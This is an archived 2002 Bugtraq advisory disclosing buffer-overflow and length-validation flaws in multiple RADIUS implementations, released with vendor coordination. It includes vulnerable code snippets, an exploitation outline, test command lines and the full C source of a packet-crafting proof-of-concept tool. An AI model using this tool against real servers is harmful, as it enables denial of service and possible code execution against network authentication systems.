SECURITY.NNOV: few vulnerabilities in multiple RADIUS implementations

From: 3APA3A (3APA3A@SECURITY.NNOV.RU)
Date: 03/05/02


Date: Tue, 5 Mar 2002 11:39:35 +0300
From: 3APA3A <3APA3A@SECURITY.NNOV.RU>
To: bugtraq@securityfocus.com


Topic : Vulnerabilities in multiple RADIUS clients and
                          servers
Author : 3APA3A <3APA3A@security.nnov.ru>
Released : December, 18 2001
Public release : March, 04 2002
Affected Software : Cistron <= 1.6.4 (1)(2)
                          Cistron 1.6.5 (2)
                          XtRadius <= 1.1-pre1 (1)(2)
                          FreeRADIUS <= 0.3 (1)(2)
                          ICRadius <= 0.18.1 (1)(2)
                          YARD Radius <= 1.0.19 (1)(2**)
                          Lucent/Livingston RADIUS <= 2.1 (1)(2?)
                          Ascend RADIUS <= 1.16 (1)
                          Merit RADIUS <= 3.6B2 (1*)
                          GNU Radius <= 0.95 (1)
                          radiusclient <= 0.3.1 (1)
Not affected : FreeRADIUS 0.4
                          Microsoft IAS (according to vendor)
                          All CISCO products (according to vendor)
                          WindNet RADIUS 1.1 (according to vendor)
Risk : Medium to High
Remote : Yes
Exploitable : Yes
SECURITY.NNOV advisories: http://www.security.nnov.ru/advisories
FreeRADIUS project : http://www.freeradius.org
Acknowledgments: : Thanks to Alan DeKok for FreeRADIUS project
                          Thanks to CERT for coordination with vendors

* - vulnerability presents but is not exploitable
** - vulnerability in USR-specific attributes
? - vendor reports not-vulnerable.

Overview:

Remote Authentication Dial In User Service (RADIUS) is widely used by
ISPs for authentication of users and accounting. RADIUS server usually
performs authentication and accounting for RADIUS clients (also known as
Network Access Server - NAS). Almost any modern hardware or software
access server can act as RADIUS client.

During internal audit of FreeRADIUS [1] project before 0.4 release few
bugs were fixed in code inherited from older RADIUS implementations.
Since almost any current implementation of RADIUS servers and multiple
RADIUS clients has code derived from Merit or Livingston these bugs may
still present in different software. Both RADIUS servers and clients
(access servers) are vulnerable.

Description:

 (1) Multiple implementations of the RADIUS protocol contain a Digest
     Calculation buffer overflow

     To validate few types of RADIUS packets RADIUS calculates packet
     digest. Digest calculated as MD5 hash from packet concatenated with
     message authenticator and shared secret. The problem is, that
     during concatenation multiple RADIUS implementations fail to check
     target buffer has enough space. It makes it possible to overflow
     buffer with shared secret data. This bug presents in all RADIUS
     implementations derived from Merit/Ascend.

     RADIUS client is vulnerable during parsing of Server reply. Server
     is vulnerable during parsing of Accounting packets and during
     packet proxing. In most cases it will cause DoS against RADIUS
     server. In few cases discussed later it may result code execution.

     Function, where overflow occurs may have different names:

      response_match(): Merit
      calc_digest()/calc_acctdigest(): Livingston, Cistron and derived
      rc_check_reply(): radclient
      rad_proxy()/calc_acctreq()/build_packet(): yardradius

     Vulnerable piece of code looks like:

      memcpy(buffer+len, secret, secretlen);

 (2) Multiple implementations of the RADIUS protocol do not adequately
     validate the Vendor-Specific attribute Vendor-Length.

     Vendor-Specific attribute is a subset of sub-attributes. Each
     sub-attribute usually has 2 bytes header (first byte is Vendor-Type
     and second byte is Vendor-Length), except USRobotics attributes
     where header is 4 bytes. Vendor-Length should be greater or equal
     to header length.

     The problem is that multiple RADIUS implementations fail to check
     Vendor-Length than calculating amount of data inside
     Vendor-Specific sub-attribute. If Vendor-Length is 0 data size will
     be calculated as negative number.

     Later memcpy is called with this number to copy data. In most
     systems result of this attack will be DoS against RADIUS (if
     memcpy() implementation is not completely flawed).

     In most RADIUS servers vulnerable function is rad_recv() or
     radrecv().
     Vulnerable piece of code looks like
     {
        ptr += 4;
        vendorlen = attrlen - 4;
        attribute = *ptr++ | (vendorcode << 16);
        attrlen = *ptr++;
        attrlen -= 2;
        length -= 6;
     }

     Some implementation has the same bug in processing of USR-specific
     attributes (and other non-standard Vendor-Specific attributes).

     This bug can be exploited with any type of RADIUS packet.
     
Exploitation:

 To exploit this vulnerabilities against RADIUS server attacker should
 be able to send RADIUS packets from IP of registered NAS. Since RADIUS
 uses UDP as transport layer it's easy to spoof NAS' IP address. Since
 both bugs occurs before packet is validated no knowledge of shared
 secret required.

 To exploit this vulnerability against RADIUS client (NAS) attacker
 should guess client's UDP port. In many cases this port is predictable.

 Attached test_radius tool may help you to reproduce situation (it
 doesn't spoof IP, so then testing against RADIUS server IP of the host
 you running this tool should be registered as valid NAS). test_radius
 may also be obtained from
 http://www.security.nnov.ru/files/test_radius.c

 For (1) buffer overflowed by shared secret which (in general case) is
 not known to attacker. Attacker is not able to control this data, but
 he is able to control length of the data. It makes it possible to make
 1-byte or 2-bytes buffer overflow. In this case if last symbol(s) of
 shared secret is in appropriate range it may be possible to use this
 overflow for code execution in few implementation. Sometimes it looks
 possible to exploit it blindly, for example this is definition of
 buffer in one of RADIUS implementations:

            static int i_recv_buffer[RAD_BUFFER_SIZE];
            static u_char *recv_buffer = (u_char *)i_recv_buffer;

 Receiving function works with recv_buffer.
 Theoretically it's possible to write to any memory location in 3 steps:
  1. We do 1-byte overflow to change last byte of recv_buffer to point
  to middle of i_recv_buffer (it will happen only if last byte of shared
  secret is higher then lowest byte of i_recv_buffer address).
  2. Now we can overwrite recv_buffer with data controlled by us with
  second packet.
  3. Now data of the third packet will be written to location we
  choose.
 Of cause exploitation is only possible if all 3 packets are handled in
 the same thread (I didn't checked the code but probably it's true). I
 bet probability of successful exploitation is not high, but
 may be positive.

 to reproduce this problem you may use something like

    test_radius RADIUS_SERVER 1 100 MAX_PACKET_SIZE 10 1646 4

 where RADIUS_SERVER is ip of your RADIUS host
 MAX_PACKET is compiled maximum packet size, you can try different:
 1024, 2048, 4096, 8192, etc
 (this command will send radius accounting packet of MAX_PACKET_SIZE)

 (2) can be tested with

  test_radius RADIUS_SERVER 11 20 311 0

 (malformed Microsoft MS-CHAP-Challenge packet)

 or

  test_radius RADIUS_SERVER 1 100 9 0

 (malformed CISCO Cisco-AVPair packet)
 
 test_radius may also be used as a stress-testing tool against memory
 exhaustion problem described in [2].

  test_radius RADIUS_SERVER 1 2 MAX_PACKET_SIZE 100000
 

References:

[1] http://www.freeradius.org
[2] http://online.securityfocus.com/archive/1/239784

------------------ begin test_radius.c -----------------
/*
 * Copyright (c) 2000-2001 3APA3A
 *
 * $Id: test_radius.c,v 1.1.2.3 2001/09/28 17:25:05 vlad Exp $
 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define AUTH_VECTOR_LEN 16
#define MAX_STRING_LEN 254
#define PW_AUTH_UDP_PORT 1645
#define PW_AUTHENTICATION_REQUEST 1
#define PW_VENDOR_SPECIFIC 26
#define VENDORPEC_USR 429

typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned char uint8_t;

/*
 * Return an IP address from
 * one supplied in standard dot notation.
 */
uint32_t ip_addr(const char *ip_str)
{
        struct in_addr in;

        if (inet_aton(ip_str, &in) == 0)
                return INADDR_NONE;
        return in.s_addr;
}

/*
 * Return an IP address in from a host
 * name or address in dot notation.
 */
uint32_t ip_getaddr(const char *host)
{
        struct hostent *hp;
        uint32_t a;

        if ((a = ip_addr(host)) != INADDR_NONE)
                return a;

        if ((hp = gethostbyname(host)) == NULL)
                return (uint32_t) INADDR_NONE;

        /*
         * Paranoia from a Bind vulnerability. An attacker
         * can manipulate DNS entries to change the length of the
         * address. If the length isn't 4, something's wrong.
         */
        if (hp->h_length != sizeof(uint32_t)) {
                return (uint32_t) INADDR_NONE;
        }

        memcpy(&a, hp->h_addr, sizeof(uint32_t));
        return a;
}

static int getport(const char *name)
{
        struct servent *svp;

        svp = getservbyname (name, "udp");
        if (!svp) {
                return 0;
        }

        return ntohs(svp->s_port);
}

typedef struct radius_packet_t {
  uint8_t code;
  uint8_t id;
  uint16_t length;
  uint8_t vector[AUTH_VECTOR_LEN];
  uint8_t data[4076];
} radius_packet_t;
          

char buf[256];

int radius_send(char* radius, int ntimes, int attr, int size, int attlen, int port, int type)
{
        int res=0;
        int sockfd;
        int total_length;
        unsigned dst_ipaddr;
        struct sockaddr_in saremote;
        struct sockaddr_in *sa;
        radius_packet_t packet;
        int i;
        int len;

        memset(&packet, 0, sizeof(packet));

        if (!type) type = PW_AUTHENTICATION_REQUEST;
        if (!port) port = getport("radius");
        if (port == 0) port = PW_AUTH_UDP_PORT;
        if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
                return 1;
        }
        packet.code = type;
        packet.id=0;

        total_length = 0;

        total_length+=(4+AUTH_VECTOR_LEN);
        memset(packet.vector, 0, AUTH_VECTOR_LEN);
        
        dst_ipaddr = ip_getaddr(radius);

        sa = (struct sockaddr_in *) &saremote;
        memset ((char *) sa, '\0', sizeof (saremote));
        sa->sin_family = AF_INET;
        sa->sin_addr.s_addr = dst_ipaddr;
        sa->sin_port = htons(port);
        
        if(ntimes) {
                for (len=0, size-=total_length, i=0; size > 0; size-=len, i+=len){
                 len = (size > attlen)? attlen:size;
                 if(len < 2) break;
                 packet.data[i]=attr;
                 packet.data[i+1]=len;
                 if(len > 2) memset(packet.data + i + 2, 'A', len - 2);
                }
        }
        else {
                i=0;
                packet.data[i++] = PW_VENDOR_SPECIFIC;
                packet.data[i++] = attlen;
                *((long*)(packet.data + i)) = htonl(size);
                i+=4;
                if (size == VENDORPEC_USR){
                 *((short *)(packet.data + i)) = htons(attr);
                 i+=2;
                 packet.data[i++] = 1;
                }
                else {
                 packet.data[i++] = attr;
                 packet.data[i++] = 1;
                 packet.data[i++] = 'A';
                }
                if(attlen > 9){
                        memset(packet.data+i, 'A', attlen-9);
                        i=attlen;
                }
                ntimes = 1;
        }

        total_length+=i;
        packet.length = htons(total_length);

        for (i=0; i<ntimes; i++){
                res = sendto(sockfd, &packet, total_length, 0,
                      (struct sockaddr *)&saremote, sizeof(struct sockaddr_in));
                if(res != total_length){
                        fprintf(stderr, "sendto() failed\n");
                        return 2;
                }
                packet.id++;
        }
        return 0;
}

int main(int argc, char*argv[]){

  int attr;
  int ntries;
  int attlen;
  int packlen;
  int port=0;
  int type=0;

  if (argc <6 || (attr = atoi(argv[2])) < 1 ||
        (attlen = atoi(argv[3])) < 2 || (packlen = atoi(argv[4])) < 20 ||
        (ntries = atoi(argv[5])) < 0) {
                printf ("Usage : %s server attribute attribute_length packet_length count [port] [type]\n"
                        " server - ip address of target server (you must be listed as NAS\n"
                        " for this server because this code doesn't spoof IP)\n"
                        " attribute - attribute type code, > 0\n"
                        " attribute_length - length of attribute, must be between 1 and 255\n"
                        " packet_length - length of packet, >20\n"
                        " count - number of packets to send. If count = 0 single malformed\n"
                        " Vendor-Specific is sent with Vendor-Code of packet_length\n"
                        " and Vendor-Type of attribute\n"
                        " port - target UDP port\n"
                        " type - type of RADIUS request. Authentication Request by default\n",
                       argv[0]);
                return 1;
  }
  if (argc >= 7) port = atoi(argv[6]);
  if (argc >= 8) type = atoi(argv[7]);
  return radius_send( argv[1], ntries, attr, packlen, attlen, port, type);
}
------------------ end test_radius.c -----------------

-- 
http://www.security.nnov.ru
         /\_/\
        { , . }     |\
+--oQQo->{ ^ }<-----+ \
|  ZARAZA  U  3APA3A   }
+-------------o66o--+ /
                    |/
You know my name - look up my number (The Beatles)



Relevant Pages

  • More problems with RADIUS (protocol and implementations)
    ... There are more problems in RADIUS protocol and some of implementations: ... There is no way RADIUS server can validate Access-Request packet ...
    (Bugtraq)
  • Re: Originating Location retreival from Radius Packet.
    ... > have a Nomadix or a Pronto Access controller which forwards the Radius ... > authentication packet to our Radius server. ... Hi Ash -- ...
    (microsoft.public.internet.radius)
  • [NEWS] Vulnerabilities in Multiple RADIUS Clients and Servers
    ... Remote Authentication Dial-In User Service (RADIUS) is widely used by ... To validate few types of RADIUS packets RADIUS calculates packet digest. ... In most cases it will cause DoS against RADIUS server. ... validate the Vendor-Specific attribute Vendor-Length ...
    (Securiteam)
  • Peap Authentication fails after boot up
    ... Received packet for client 00904b1aa3e7 ... RADIUS: Received Challenge Request ... Received session timeout request of 30 seconds ...
    (microsoft.public.internet.radius)
  • Re: Peap Authentication fails after boot up
    ... forwarding packets between the client and IAS server but for some reason it ... Received packet for client 00904b1aa3e7 ... > RADIUS: Received Challenge Request ... Received session timeout request of 30 seconds ...
    (microsoft.public.internet.radius)

Loading